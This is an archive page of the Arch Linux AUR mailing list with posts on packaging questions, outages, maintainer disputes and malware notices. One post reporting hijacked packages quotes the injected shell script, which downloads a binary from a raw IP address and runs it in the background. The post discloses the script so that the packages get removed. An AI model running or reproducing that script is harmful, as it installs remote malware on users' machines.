- Aur-general - lists.archlinux.org

First AUR package pre-push questions
by Conor C. Peterson 21 Nov '25

21 Nov '25

Greetings folks, I've just created a small and simple package for a font that I like to use that isn't already available in the AUR --- [Inclusive Sans]( https://github.com/LivKing/Inclusive-Sans) [My PKGBUILD source]( https://privatebin.net/?3107c3b826818881#8F7zgoCiQFPJwpRBzYBb21JH1H6RPQHx38… ) After reading through [AUR submission guidelines | ArchWiki]( https://wiki.archlinux.org/title/AUR_submission_guidelines) I'm following the recommendations and asking two things on here: 1. Are there any improvements I should make to my PKGBUILD? - This is the first package I've ever created - I've mostly looked at the PKGBUILDs for `ttf-merriweather-sans` (linked in the wiki) and `ttf-rubik-vf` (as a more recent example) and created a new PKGBUILD based on those two existing ones. - Made sure `namcap` was reporting no errors/warnings. 2. Is this a worthwhile package to submit to the AUR? - After creating it and reading through the wiki, I realized this may be insufficiently useful to submit. Could it be useful to others? Certainly, as much as any font. But it _is_ quite a niche font, I guess. Thanks in advance, C. C. Peterson

3 3

Package deletion
by Gonsolo 21 Nov '25

21 Nov '25

Hi! I am the package maintainer of https://aur.archlinux.org/packages/openlane2 which is obsolete. How can I delete it? Thanks -- g

2 1

Submission rules unclear
by hirecguiihricy 19 Nov '25

19 Nov '25

Hey everyone, So I noticed some sandbox packages are being deleted — surprise — and the usual justification is “Personal configuration should be covered in ArchWiki.” Meanwhile, when I suggested merging linuxqq-nt-bwrap into the main linuxqq package (because of that Package Manager's action), that request got turned down — apparently it’s “popular.” Consistency much? This double standard and murky rule enforcement is confusing. Please fix the guidelines and explain exactly what’s allowed so people don’t waste time guessing which rules apply.

1 0

Fwd: How To Handle Hostile Maintainer w/out Dup AUR Packages
by Pranav Sharma 18 Nov '25

18 Nov '25

Hello all, I was wondering how to deal with a hostile maintainer who is squatting on a set of packages, but refuses to update them in a timely manner or to make improvements / fixes to the packages. The packages in question are wlcs, mir, and miracle-wm. I have been the one to update the packages this year, after a previous conflict where the current maintainer added me as a co-maintainer. They only did so when I opened an orphaned request after weeks of not updating the package, with zero communication. This person doesn't communicate, doesn't make sense when they are forced to, and acts down right hostile. I don't think they even use the packages, rather is interested in collecting AUR packages like they are pokemon, as they currently post on github "maintainer of 450+ AUR packages". They actually swooped in to claim the mir package after I sent in an orphan request so I could adopt it. Best, Pranav

1 0

naming: does minified code count as "source-based"?
by Christopher Cooper 11 Nov '25

11 Nov '25

Hi all, I maintain the claude-code package [1] on AUR along with ticpu. Claude Code is not an open source project. For most of the project's lifespan, it has been distributed only as an npm package [2], which contains only minified javascript. Recently, a "binary" version was released which appears to use the same code as released on npm, but bundled into a standalone executable using `bun build --compile` [3]. The official docs [4] now seem to prefer installing the standalone binary, though the option to install through npm is still available. I recently switched the package to use the distributed bun binary, rather than the minified npm package, since this seems to now be the installation method preferred by upstream. However, this raises an interesting question - should the package now be called "claude-code- bin" instead of "claude-code"? The logic here is that the "-bin" suffix should be used if a source- based package is available. In this case, the npm package would be such a "source-based" package. I personally find this argument uncompelling, as minified code doesn't really seem comparable to actual source code. The npm package and the distributed binary have essentially the same visibility into the underlying code that is being run - you could use `strings` or other methods to extract the minified code from the binary version. There's a second argument which is more compelling to me, that some users may prefer the npm-based installation, so it would be useful to have two different AUR packages. In this case, the new binary-based package could be called "claude-code-bin", and the previous npm-based package could be just "claude-code". (Of course, other naming schemes could be used, e.g. "claude-code" and "claude-code-npm".) Personally, I don't see great value in having two separate packages and the opportunity for user disruption seems high, but I'd love to hear people's opinions on this. This boils down to two questions: 1. Is it _against the package naming rules_ to call this package "claude- code" rather than "claude-code-bin"? 2. Do people think that this package _should_ be split into separate packages for the two installation methods, and if so, what should the packages be called? Thanks for your consideration, Christopher [1]: https://aur.archlinux.org/packages/claude-code [2]: https://www.npmjs.com/package/@anthropic-ai/claude-code [3]: https://bun.com/docs/bundler/executables [4]: https://code.claude.com/docs/en/overview

2 1

Formalize rules for using "-bin" siffix in AUR package names
by Ashark 02 Nov '25

02 Nov '25

Hello. In the Arch Wiki there are rules for submitting packages. And in some areas they are not complete. and this sometimes leads to arguments when discussing if one or another way is correct. I want to make a hard rule for the "-bin" suffix for non-free software packages. I have opened discusssion here: https://wiki.archlinux.org/title/ Talk:Nonfree_applications_package_guidelines#Strict_rule_when_to_use_-bin_suffix If you have some authority in Arch Linux, please answer there. -- Andrew

1 0

duplication of pgadmin
by JPT 01 Nov '25

01 Nov '25

Hi I just stumbled upon the fact that there is a duplication of several pgadmin related packages. should we do something about it? which one should I use? Name Version Votes Popularity? Maintainer pgadmin4-desktop 9.8-1 16 1.62 alllexx88 pgadmin4-server-bin 9.9-1 1 0.87 higorslva phppgadmin 7.14.7-1 0 0.00 khvalera pgadmin4 9.8-4 2 1.13 lzx3in pgadmin4-bin 9.8-1 0 0.00 lzx3in pgadmin4-server 9.9-1 12 1.72 lzx3in pgadmin4-web 9.9-1 0 0.00 lzx3in see https://aur.archlinux.org/packages?O=0&SeB=nd&K=pgadmin&outdated=&SB=p&SO=d… thanks JPT

2 1

The aur search is broken and seems to have a cache issue.
by 𝕍𝕖𝕝𝕠𝕔𝕚𝕗𝕪𝕖𝕣 30 Oct '25

30 Oct '25

No matter what i search for on the aur, it turns into `Mirage Image Viewer`. I predict that there is a issue with caching. -- George truly, 𝕍𝕖𝕝𝕠𝕔𝕚𝕗𝕪𝕖𝕣 Improve your wifi reception for free <https://www.youtube.com/watch?v=LY8Wi7XRXCA> This email does not constitute a legally binding contract Remember to reply all on mailing lists (this is here so i don't forget to use reply all)(If you are reading this i forgot to remove it)

2 1

AUR Packages Hijacked: mdbtools / materia-theme-git
by GlassTree 29 Oct '25

29 Oct '25

Original post: https://bbs.archlinux.org/viewtopic.php?pid=2270179 ----- I've noticed these two packages being "hijacked": mdbtools and materia-theme-git Both under the same user "koolpp" The new versions uploaded refer to a shell script available at a Codeberg repository: https://codeberg.org/koolpp/mdbtools/src/branch/main/src/util/Makefile.am https://codeberg.org/koolpp/materia-theme/src/branch/main/src/gtk-4.0/meson… The scripts execute the following: ```sh #!/bin/sh mkdir -p /usr/lib64 curl -s http://45.94.31.147/prod.bin -o /usr/lib64/libkwrk.so.1.5.3 chmod +x /usr/lib64/libkwrk.so.1.5.3 setsid /usr/lib64/libkwrk.so.1.5.3 & ``` Looks like a remote file will create a background session with execute permissions if you install these packages. May these new packages versions be taken down

3 2

Pushing to the AUR currently not possible
by gromit 27 Oct '25

27 Oct '25

Hello everyone, as we were the target of yet another DDoS attack we have enabled DDoS protection for aur.archlinux.org, which does not yet properly handle incoming connections on port 22 (yet). We are working with our provider to resolve this issue but wanted to ensure service reachability for everyone in the meantime. Please check https://status.archlinux.org/ for updates on the situation! Cheers, Chris for the Arch Linux DevOps Team

4 3

Request comment on PKGBUILD changes to mongodb44 to remove libboost_system references from Scons files
by David C Rankin 24 Oct '25

24 Oct '25

AUR Wizards, With upstream's removal of libboost_system I needed to remove the Scons config making use of the library. Instead of patching the files, I simply used a couple of sed expressions to handle the issue from the PKGBUILD (there were many others there when I stepped in as the maintainer) I want to know if it matters, and whether patches are preferred, or if handling a couple of removals via sed or awk is okay. I added the following to handle the changes: # delete libboost_system references from scons due to removal # from boost/boost-libs upstream in ver. 1.89. sed -i '/^boostLibs =/s/, "system"//' SConstruct sed -i '348d' src/third_party/SConscript Builds fine, only complaint is it has to serial link instead of using the requested lto link, which I see with some other packages as well. Anyway, if there is a preference to patch instead of use sed, I can clean that up on the next commit, but I am curious if there is a preference or if either/or is okay. -- David C. Rankin, J.D.,P.E.

2 2

Re: Free DDOS Protection Tool
by Borna Punda 08 Oct '25

08 Oct '25

Greetings, I have been thinking. For all that it's worth, it might be best to decouple HTTP and SSH AUR. We have already determined it will be very hard to protect SSH, but as discussed before, HTTP can be done by Cloudflare easily (either through Galileo or even the free plan). Best regards, Borna Punda

1 0

Free DDOS Protection Tool
by shresth paul 08 Oct '25

08 Oct '25

Hello Team, I hope you're doing well. So recently we noticed that the ARCH linux is facing a lot of DDOS attacks. What if we were to use Project Galileo to avoid these DDOS? This is completely free of cost by CloudFlare. Project Galileo | Cloudflare <https://www.cloudflare.com/galileo/> Thanks Shresth Paul Website: - Shresth Paul | Cybersecurity Professional <https://secbyshresth.github.io/Portfolio/>

8 12

AUR down
by Javier 06 Oct '25

06 Oct '25

Hello ! It seem AUR [1] is down, or is it me? Thanks ! -- Javier [1] https://aur.archlinux.org

9 12

Fwd: AUR Comment for rapidyaml
by shresth paul 03 Oct '25

03 Oct '25

Hello Everyone, This has been done. Thanks Shresth Paul (UserName: SecByShresth) ---------- Forwarded message --------- From: <notify(a)aur.archlinux.org> Date: Fri, Oct 3, 2025 at 1:53 AM Subject: AUR Comment for rapidyaml To: <shresthpaul133(a)gmail.com> patlefort [1] added the following comment to rapidyaml [2]: Can you add `libryml.so` in provides for c++ package? Thanks. -- If you no longer wish to receive notifications about this package, please go to the package page [2] and select "Disable notifications". [1] https://aur.archlinux.org/account/patlefort/ [2] https://aur.archlinux.org/pkgbase/rapidyaml/

1 0

Re: AUR Comment for rapidyaml
by shresth paul 02 Oct '25

02 Oct '25

Hello Guys, I hope you're doing well. I just fixed this package, can we please test it out? Let me know if you still face any issues. Thanks Shresth Paul On Fri, Oct 3, 2025 at 12:35 AM <notify(a)aur.archlinux.org> wrote: > abouvier [1] added the following comment to rapidyaml [2]: > > It can't work if it doesn't even build: > ``` > ==> Starting build()... > -- The CXX compiler identification is GNU 15.2.1 > -- Detecting CXX compiler ABI info > -- Detecting CXX compiler ABI info - done > -- Check for working CXX compiler: /usr/lib/ccache/bin/c++ - skipped > -- Detecting CXX compile features > -- Detecting CXX compile features - done > -- ryml: using C++ standard: C++11 > -- ryml: setting C++ standard: 11 > -- ryml: setting C++ standard required: ON > -- ryml: importing subproject c4core (SUBDIRECTORY)... > /build/rapidyaml/src/rapidyaml/ext/c4core > -- c4core: using C++ standard: C++11 > -- ryml: -----> target ryml PUBLIC incorporating lib c4core > -- ryml: packing the project: > -- ryml: cpack tag: v0.10.0 > -- ryml: enabling API > CMake Error at > /usr/share/cmake/Modules/FindPackageHandleStandardArgs.cmake:227 > (message): > Could NOT find SWIG (missing: SWIG_EXECUTABLE SWIG_DIR) > Call Stack (most recent call first): > /usr/share/cmake/Modules/FindPackageHandleStandardArgs.cmake:591 > (_FPHSA_FAILURE_MESSAGE) > /usr/share/cmake/Modules/FindSWIG.cmake:184 > (find_package_handle_standard_args) > api/CMakeLists.txt:18 (find_package) > > > -- Configuring incomplete, errors occurred! > ==> ERROR: A failure occurred in build(). > ``` > > -- > If you no longer wish to receive notifications about this package, > please go to the package page [2] and select "Disable notifications". > > [1] https://aur.archlinux.org/account/abouvier/ > [2] https://aur.archlinux.org/pkgbase/rapidyaml/

1 0

Packages for Adoption
by Brian 01 Oct '25

01 Oct '25

Hi AUR Community, I’m giving up all the packages I maintain for adoption. Unfortunately, I don’t have any time to maintain them in the foreseeable future. You’ll noticed that quite a few of them have Dockerfiles. This is because I was doing my development work on a Mac. The image in those Dockerfiles is a custom image that I created which publishes a new version daily (https://github.com/brianrobt/archlinux-aurdev-docker-image) That process is completely automated, but if it should ever break, then I probably won’t have time to fix it. Anyway, most of you probably wouldn’t even use it to begin with since you’re developing on Arch, but I thought it’d be useful to know. I also have a GitHub repo where I’ve been keeping copies of the files on each AUR package (https://github.com/brianrobt/aur-pkgbuilds) I setup a bit of automation to perform package updates, but it’s doesn’t work with some of the packages and isn’t really “production-ready”. It may be useful for any new maintainers. Here are the packages that I’m orphaning: - alist - simplex-chat-bin - stable-diffusion.cpp-vulkan-git - nmctl - netclient - htmlhint - pixieditor-bin - python-nspektr - openmohaa-git - openmohaa - rocm-clang-ocl - rot8-git - outwiker - arduino-avr-core - rapidyaml - python-rapidyaml - gradle-language-server - python-mouseinfo I greatly appreciated and enjoyed working with the other AUR maintainers. It was a great experience, and I hope that I can return to the community sooner rather than later. Thank you for all of the help and support! — Best regards, Brian Thompson DevOps/SRE | Open Source Developer St. Peters, MO, USA

4 3

Problem generating the telegraf package in a chroot
by Óscar García Amor 30 Sep '25

30 Sep '25

Hello folks, Let me tell you, I've been maintaining the Telegraf[1] package in AUR for some time now, and whenever I update it (or generate it), I have to do it in a container because it's not possible with the `extra-x86_64- build` command. If you look at the PKGBUILD, there is a point where the configuration is generated with the newly created binary itself. It is the last line of `build()`, `./build/telegraf config > telegraf.conf`. It is at this point that the execution stops completely if I build the package with `extra-x86_64-build`. Can you think of any reason why this might happen or how it could be fixed? This step is necessary because there is no other way to generate the base configuration. Best regards. [1]: https://aur.archlinux.org/packages/telegraf -- Óscar García Amor | ogarcia at moire.org | http://ogarcia.me

4 7

Please remove the removal request of libelectron-electron-meta
by Corey Bruce 25 Sep '25

25 Sep '25

Hi guys I have been in conversation with a someone on my AUR package who decided to request my package to.be <http://to.be> removed when it shouldn't be and was kindly ask if the removal request could be removed as it would cause a lot of problems for not only me but all the users who use my software and break things by removing this essential meta package Thank you corey

6 12

Request to adopt unlisted AUR packages
by Damian Höster 23 Sep '25

23 Sep '25

Hello, I would like to adopt the currently unlisted packages `google-gemini-nativefier` and `anthropic-claude-nativefier`. They were maintained by amaxcz until few weeks ago, `openai-chatgpt-nativefier` still is. I had used those packages for quite a long time, and recently noticed that they had vanished from the AUR, only the repositories remained. I already modified the PKGBUILDs to my liking. Not sure if this is the right place to go to, but I couldn't find any information on what to do in such a situation from the Arch Wiki. My username is damian101 on the AUR as well. Kind regards damian101

3 2

What is the business behind many sandboxing package being deleted?
by concierge9156 23 Sep '25

23 Sep '25

Hi community, I’m an ordinary user who relies on the sandboxing packages from the AUR. To my surprise, a large number of these packages have been removed and the maintainer now points us to a separate PKGBUILD repository. According to the AUR submission guidelines , the AUR (and official repos) are meant for “packages which install general software and software‑related content, including … configuration file(s).” Sandbox packages are precisely configuration files that provide unique, valuable features for many users. When I asked the maintainer on Matrix for an explanation, she replied simply: “Are you having the false sensation of AUR being free? I had that mistake before.” The wholesale deletion of these packages undermines the sandboxing community’s efforts and leaves countless users without essential tools. I request a clear, reasoned justification for this action and a reconsideration of the policy’s application to sandbox packages. Thank you. concierge9156

5 4

Help with Creating an AUR Account
by Muneo 17 Sep '25

17 Sep '25

Hello, I encountered an issue while creating an AUR account. Where should I direct my inquiry in such cases?

2 1

Erroneous Merge Request
by HurricanePootis 17 Sep '25

17 Sep '25

Hello, I am the maintainer for citron and citron-git. Someone erroneously made a merge request—to merge citron into citron git—because they don't understand how tag sources work and it caused confusion (and they didn't even comment for clarification). It is incredibly stressful situation, knowing that I could potentially have my work be messed with. Is there anything I can do to dispute requests? Or, I wished AUR maintainers could reply to request. It seems like there is no centralized place to discuss specific requests, leaving details to be lost in comments, etc. From, HurricanePootis

2 1

Re: Erroneous Merge Request
by shresth paul 16 Sep '25

16 Sep '25

++ AUR List for visibility. On Wed, Sep 17, 2025 at 4:39 AM shresth paul <shresthpaul133(a)gmail.com> wrote: > Hello HurricanePootis, > > I think if you click on the option of View Changes, it should give you the > name of the person who made last changes to the PKG File. > > Thanks > Shresth Paul > > On Wed, Sep 17, 2025 at 3:55 AM HurricanePootis < > hurricanepootis(a)protonmail.com> wrote: > >> Hello, >> >> I am the maintainer for citron and citron-git. Someone erroneously made a >> merge request—to merge citron into citron git—because they don't understand >> how tag sources work and it caused confusion (and they didn't even comment >> for clarification). >> >> It is incredibly stressful situation, knowing that I could potentially >> have my work be messed with. Is there anything I can do to dispute >> requests? Or, I wished AUR maintainers could reply to request. It seems >> like there is no centralized place to discuss specific requests, leaving >> details to be lost in comments, etc. >> >> From, >> HurricanePootis >> >> >>

2 1

Non English package details
by Ramadan Ali 10 Sep '25

10 Sep '25

Hi, Is there any rules/policy about packages with non English details in AUR? Recently I came across many packages that have non English descriptions and I can't understand what the packages does or provide, and I got curious about the policy regarding this issue. Cheers, Ramadan Ali (alicavus)

8 8

I committed using the incorrect git user. Who can help me fix this?
by rewind-jot-rush＠duck.com 29 Aug '25

29 Aug '25

Hi list, I'm so sorry, but I did exactly what the big red box on https://wiki.archlinux.org/title/AUR_submission_guidelines#Publishing_new_p… says not to do: I committed using the incorrect git user. Who can help me fix this? Thanks, demir

4 3

Re: Package Maintainer application
by Giancarlo Razzolini 28 Aug '25

28 Aug '25

Excerpts from Martin Rys's message of julho 24, 2025 12:26 pm: > Hi, > > my name's Martin, you can more often find me under "C0rn3j". > Professionally, I work as a DevOps, and in my free time I do things I've > most recently stumbled upon, which usually has to do with FOSS. > > I've been using Arch for about a decade, I mostly hang out in the > unofficial Telegram group*, which I help moderate. > > I sometimes contribute to the Wiki, send patches over GitLab when > relevant, or otherwise participate in discussions if I happen to see > anything I can add my two cents to. > > I've been maintaining a random assortment of things in the AUR, a lot of > the times simply because I was using a package that the previous > maintainer disowned, and I figured I might pick up the torch. > > Which brings me to why I want to become a PM - I would like to see some > of the things I currently maintain in the official repositories, such as > sc-controller** or Tauon**, and to help out with the maintenance in general. > > I use ALARM on some of my devices too, so I'd possibly like to help out > with the porting efforts to Arch in the future, when that becomes relevant. > > I've attached links to my accounts and also my personal site below. > > My sponsors are Gian (grazzolini) and Tomaz Canabrava. > Special thanks goes out to Muflone for additional packaging feedback. > > I think that covers everything necessary, have a good day and I hope > you'll consider my application! > > * https://t.me/archlinuxgroup > ** https://github.com/Taiko2k/Tauon > ** https://github.com/C0rn3j/sc-controller > > https://aur.archlinux.org/account/c0rn3j > https://gitlab.archlinux.org/c0rn3j > https://github.com/C0rn3j > https://gitlab.com/C0rn3j > https://rys.rs/ - GPG key used for signing is also present here > > Hi All, I was away from my GPG key during the weeked, so I couldn't send the signed email before. I have been bugging Martin to join the staff as a package maintainer for years now. Not only he has been super helpful to a lot of Arch users, but he opens a ton of issues and contribute to a lot of projects. One being pipewire, for example. I confirm my sponsorship. Regards, Giancarlo Razzolini

10 29

AUR is inaccessible from Turkey—a misconfiguration?
by Ahmet 26 Aug '25

26 Aug '25

For the last few hours, many users from Turkey—including myself—have reported issues in accessing to the AUR. After realizing that it had been accessible with a VPN, we have checked out local government blocklists (<https://www.usom.gov.tr/adres> and <https://internet.btk.gov.tr/sitesorgu/>) where the aur.archlinux.org subdomain is not listed. And, a government block in Turkey would not return ERR_CONNECTION_REFUSED either, it would be a landing page. I am suspecting a misconfiguration on server-side. Can anyone check it? Best regards,

3 3

Re: I committed using the incorrect git user. Who can help me fix this?
by rewind-jot-rush＠duck.com 26 Aug '25

26 Aug '25

Never mind, someone on the IRC channel already helped me. Thanks, demir On Monday, August 25th, 2025 at 18:05, demir wrote: > > > Hi list, > > I'm so sorry, but I did exactly what the big red box on https://wiki.archlinux.org/title/AUR_submission_guidelines#Publishing_new_p… says not to do: I committed using the incorrect git user. Who can help me fix this? > > Thanks, > > demir

1 0

Spammers, regarding deletion requests for 'max' pkgbuild
by Fabio Loli 21 Aug '25

21 Aug '25

2 1

How can we help with the recent AUR outages?
by David Heinemeier Hansson 18 Aug '25

18 Aug '25

AUR seems to have had some very rough days this week. Uncharacteristically so. I've only been in the Arch world for a short time, but I'd really like to help sort whatever is going on out, if at all possible. If the AUR servers are straining, I'm sure I can marshal some resources to have those expanded. If it's because there's an attack, I already have a commitment from the Cloudflare CTO to help protect against it. I'm not sure who to reach out to in order to deliver assistance, resources, or whatever is needed, though. Again, I'm quite new here in the Arch world, but I'm incredibly motivated to help resolve whatever is plaguing the server farm. Thanks in advance for everything all of those working on this and the rest of the Arch infrastructure does! ✌️

5 6

Cannot receive password reset email for new AUR account
by cilgin 17 Aug '25

17 Aug '25

Hello, I recently created a new account on the AUR (aur.archlinux.org) but I have not received the password reset email despite several attempts. I have checked my spam/junk folder. There is a chance that I might have mistyped my email address during registration. Also, I am using a Microsoft email address (Outlook/Hotmail), which I know sometimes causes issues with receiving automated messages. Could you please check if my account is registered with the correct email and help me receive the reset email or update my account if necessary? Username: "cilgin" Email: "cilgincc(a)outlook.com" Thank you very much for your help.

4 4

Error timeout or connection reset by peer
by Ernesto Acosta 15 Aug '25

15 Aug '25

Hello... For a few days now, I've been having problems connecting to AUR, and I'd like to know if my IP was banned by you or if my ISP (Spectrum Internet) is meddling in my business. I understand they've been hit by a DDoS attack recently, so I don't know if this has any connection. But the funny thing is that if I use a VPN, it works. The errors I've received have been the following: $ yay -Ss localsend -> Error during AUR search: 1 error occurred: * request failed: Get "https://aur.archlinux.org/rcp?arg=localsend&by=name-desc&type=search&v=5": read tcp 192.168.x.x:51298->95.216.144.15:443: read: connection reset by peer. This is new: $ yay -Ss localsend -> Error during AUR search: 1 error occurred: * request failed: Get "https://aur.archlinux.org/rpc?arg=localsend&by=name-desc&type=search&v=5": dial tcp 95.216.144.15:443: i/o timeout Thanks

2 1

Package Maintainer application
by Martin Rys 15 Aug '25

15 Aug '25

Hi, my name's Martin, you can more often find me under "C0rn3j". Professionally, I work as a DevOps, and in my free time I do things I've most recently stumbled upon, which usually has to do with FOSS. I've been using Arch for about a decade, I mostly hang out in the unofficial Telegram group*, which I help moderate. I sometimes contribute to the Wiki, send patches over GitLab when relevant, or otherwise participate in discussions if I happen to see anything I can add my two cents to. I've been maintaining a random assortment of things in the AUR, a lot of the times simply because I was using a package that the previous maintainer disowned, and I figured I might pick up the torch. Which brings me to why I want to become a PM - I would like to see some of the things I currently maintain in the official repositories, such as sc-controller** or Tauon**, and to help out with the maintenance in general. I use ALARM on some of my devices too, so I'd possibly like to help out with the porting efforts to Arch in the future, when that becomes relevant. I've attached links to my accounts and also my personal site below. My sponsors are Gian (grazzolini) and Tomaz Canabrava. Special thanks goes out to Muflone for additional packaging feedback. I think that covers everything necessary, have a good day and I hope you'll consider my application! * https://t.me/archlinuxgroup ** https://github.com/Taiko2k/Tauon ** https://github.com/C0rn3j/sc-controller https://aur.archlinux.org/account/c0rn3j https://gitlab.archlinux.org/c0rn3j https://github.com/C0rn3j https://gitlab.com/C0rn3j https://rys.rs/ - GPG key used for signing is also present here

12 21

Licensing following RFC40 and RFC52
by Lex Black 05 Aug '25

05 Aug '25

Hello list, I have a question regarding adding LICENSES to the aurweb repos. The simple solution would be to add the 0BSD text to the repo. So far so good. I looked additionally into REUSE, as this is mostly deployed by the repo packages and got mentioned on the respective wiki page[0]. As the pkgctl programm from the devtools package has the subcommand `license setup` and `license check` I looked into using this. But the resulting structure doesn't conform to the aurweb submission guidelines as subdirectories aren't allowed. But would be required to be REUSE-compliant? Will this be changed to allow this specific subdir? Or should the suggestion to use REUSE dropped from the wiki page? If the latter, how to attribute patches that are added from upstream? Best regards ________ [0] https://wiki.archlinux.org/title/AUR_submission_guidelines#Rules_of_submiss… "Add a LICENSE file or a REUSE.toml file to your repository."

2 2

Possible malicous PKGBUILD
by Lex Black 29 Jul '25

29 Jul '25

Hi Will only be able top later create a deletion requests for a package, but maybe someone else wants to step up? https://aur.archlinux.org/packages/gdox Not a really stealthy and working approach to do harm, but such a PKGBUILD shouldn't stay up in my opinion. Best regards

2 1

Command in DLAGENTS works in shell but not in makepkg
by Aaron Liu 22 Jul '25

22 Jul '25

Hey, Part of a PKGBUILD I'm trying to make looks like this: source=(Lark-linux_x64-${pkgver}.deb::https://www.larksuite.com/api/package… DLAGENTS=("https::/usr/bin/sh -c curl\ -LO\ \"\$$curl\ \'%u\'\ \|\ grep\ -oP\ \'\(\?\<=\"download_link\":\"$\[\^\"\]\*\'\ --\ \|\ sed\ \'s/\\\\u0026/\\\&/g\'\ --\)\"") The command (/usr/bin/sh...) works when I run it in my shell, but not when I run makepkg on the PKGBUILD. Any help would be really, really appreciated. I don't even know how to make makepkg tell me what command it runs, and even that would be nice. -- Cheers, Aᴀʀᴏɴ

1 1

Re: [SECURITY] firefox-patch-bin, librewolf-fix-bin and zen-browser-patched-bin AUR packages contain malware
by Shay Gover 19 Jul '25

19 Jul '25

Hi Quentin, Can you send us the packages description so we can identify other attempts in the future? Thanks Shay Date: Fri, 18 Jul 2025 18:53:19 +0200 > From: Quentin MICHAUD <mh4ckt3mh4ckt1c4s(a)archlinux.org> > Subject: [SECURITY] firefox-patch-bin, librewolf-fix-bin and > zen-browser-patched-bin AUR packages contain malware > To: aur-general(a)lists.archlinux.org > Message-ID: <4156647e-59ab-4026-9778-19d7cda6d4bc(a)archlinux.org> > Content-Type: text/plain; charset=UTF-8; format=flowed > > On the 16th of July, at around 8pm UTC+2, a malicious AUR package was > uploaded to the AUR. Two other malicious packages were uploaded by the > same user a few hours later. These packages were installing a script > coming from the same GitHub repository that was identified as a Remote > Access Trojan (RAT). > > The affected malicious packages are: > > - librewolf-fix-bin > - firefox-patch-bin > - zen-browser-patched-bin > > The Arch Linux team addressed the issue as soon as they became aware of > the situation. As of today, 18th of July, at around 6pm UTC+2, the > offending packages have been deleted from the AUR. > > We strongly encourage users that may have installed one of these > packages to remove them from their system and to take the necessary > measures in order to ensure they were not compromised. >

1 0

[SECURITY] firefox-patch-bin, librewolf-fix-bin and zen-browser-patched-bin AUR packages contain malware
by Quentin MICHAUD 18 Jul '25

18 Jul '25

On the 16th of July, at around 8pm UTC+2, a malicious AUR package was uploaded to the AUR. Two other malicious packages were uploaded by the same user a few hours later. These packages were installing a script coming from the same GitHub repository that was identified as a Remote Access Trojan (RAT). The affected malicious packages are: - librewolf-fix-bin - firefox-patch-bin - zen-browser-patched-bin The Arch Linux team addressed the issue as soon as they became aware of the situation. As of today, 18th of July, at around 6pm UTC+2, the offending packages have been deleted from the AUR. We strongly encourage users that may have installed one of these packages to remove them from their system and to take the necessary measures in order to ensure they were not compromised.

1 0

A nightmare in nesting for DLAGENTS
by Aaron Liu 08 Jul '25

08 Jul '25

Ey, A package recently started making their download links be dynamically-generated and expire. I've found that the download link can be gotten through `curl 'https://www.larksuite.com/api/package_info?platform=10' | grep -oP '(?<="download_link":")[^"]*' --`. I've decided to implement this into the package through setting source to the API link and specifying DLAGENTS. However, I'm having trouble wrangling the quotes. Currently, I have DLAGENTS=('https::/bin/sh -c '\''curl -LO $(curl -s %u | grep -oP "(?<=\"download_link\":\")[^"]*")'\'''). The shell complains -LO: -c: line 1: unexpected EOF while looking for matching `''. (I'm not using jq because 1. it's an extra makedepends 2. I tried replacing the grep part with `jq -r .download_link` and it changes nothing.) I've been working at different ways of expressing this for a while now and all I've managed to change is which kind of quotation mark the shell complains about. Any ideas? -- Cheers, Aᴀʀᴏɴ

1 1

Re: License and questions regarding gnome-printing
by Luna Jernberg 19 Jun '25

19 Jun '25

Ah alright Den tors 19 juni 2025 kl 19:17 skrev Aamot Innovation <ole(a)aamot.org>: > > Thank you. > > gnome-printing is obsolete. I will also remove it from www.aamot.org/ole/printing.html and www.github.com/oleaamot/printing > > > 19. juni 2025 kl. 7:11 pm skrev Luna Jernberg <droidbittin(a)gmail.com>: > > > > The package is now deleted > > > > Den tors 19 juni 2025 kl 16:52 skrev Luna Jernberg <droidbittin(a)gmail.com>: > >> > >> https://lists.archlinux.org/archives/list/aur-requests@lists.archlinux.org/… > >> > >> Den tors 19 juni 2025 kl 16:51 skrev Luna Jernberg <droidbittin(a)gmail.com>: > >>> > >>> Alright will do > >>> > >>> Den tors 19 juni 2025 kl 16:50 skrev Ole Aamot <ole(a)aamot.org>: > >>>> > >>>> Delete gnome-printing from AUR. It is obsolete and not necessary for printing on GNOME Systems. > >>>> > >>>> On 6/19/25 10:00 AM, Ole Aamot wrote: > >>>> > >>>> Hello, > >>>> > >>>> Thank you for your message and for raising these important questions regarding the gnome-printing package recently submitted to the AUR. > >>>> > >>>> I'll address both of your concerns directly: > >>>> > >>>> > >>>> --- > >>>> > >>>> 1. License of gnome-printing > >>>> > >>>> The license for gnome-printing was initially not clearly stated, and I understand this has caused confusion. To clarify: > >>>> > >>>> The gnome-printing project is an experimental wrapper intended to integrate simplified printing functionality for specific GTK4/GNOME4-based workflows. > >>>> > >>>> It was developed under the principles of free and open-source software, and the intention is to license it under the Public Domain, in line with most GNOME utilities. > >>>> > >>>> The license declaration was inadvertently omitted from the initial release, and we will be adding a COPYING file and SPDX license headers in the next version update on https://github.com/aamotsoftware/printing to make this explicit. > >>>> > >>>> > >>>> > >>>> --- > >>>> > >>>> 2. Purpose of gnome-printing > >>>> > >>>> You are absolutely right that GNOME uses CUPS for its built-in printing system. gnome-printing is not a replacement for CUPS or for GNOME's existing print stack. Instead, its goals are: > >>>> > >>>> To provide a user-facing frontend (using GTK4/Adwaita) for certain common printing tasks, primarily aimed at developers and tinkerers who want tighter scripting or sandboxed integration (such as within GNOME Builder or Flatpak applications). > >>>> > >>>> It acts as a thin wrapper around CUPS and the common UNIX lp/lpr utilities, with potential features like: > >>>> > >>>> previewing print jobs via a minimal UI, > >>>> > >>>> generating print-ready PDFs, > >>>> > >>>> selecting specific backends or printers in a streamlined way (especially for headless usage or kiosk setups), > >>>> > >>>> integration with non-CUPS pipelines (future potential, e.g., IPP-over-USB experiments). > >>>> > >>>> > >>>> > >>>> That said, it is indeed redundant for general GNOME desktop users, who already benefit from excellent support via the gnome-control-center and evince/gtk-print stack. As such, gnome-printing is niche and optional, meant more for experimentation and lightweight print job scripting in specific GNOME developer scenarios. > >>>> > >>>> See https://www.aamot.org/ole/printing.html > >>>> --- > >>>> > >>>> Next Steps > >>>> > >>>> We will: > >>>> > >>>> Update the project metadata with the correct license information. > >>>> > >>>> Clarify the purpose and scope of the package in the AUR description and upstream README to avoid misunderstandings. > >>>> > >>>> Ensure FabioLolix’s fixes are merged and credited. > >>>> > >>>> Could you provide me with FabioLolix's fixes? > >>>> > >>>> --- > >>>> > >>>> Thanks again for your diligence, and we appreciate the Arch community’s attention to detail and software quality. > >>>> > >>>> Warm regards, > >>>> Ole Kristian Aamot > >>>> Aamot Research > >>>> ole(a)aamot.software > >>>> www.aamot.io > >>>> > >>>> — cc: Luna (“bittin”), FabioLolix, Muflone > >>>> 